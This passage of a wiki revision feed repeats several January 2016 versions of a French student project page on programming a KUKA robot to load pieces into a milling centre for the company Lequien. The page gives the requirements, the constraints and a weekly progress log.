&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.&lt;br /&gt;
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#. &lt;br /&gt;
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=25024</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=25024"/>
				<updated>2016-01-18T15:19:21Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Semaine du 11 au 15 janvier 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=25023</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=25023"/>
				<updated>2016-01-18T13:54:00Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Avancement du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors de laquelle nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=24832</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=24832"/>
				<updated>2016-01-11T10:18:34Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Avancement du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2015 ===&lt;br /&gt;
&lt;br /&gt;
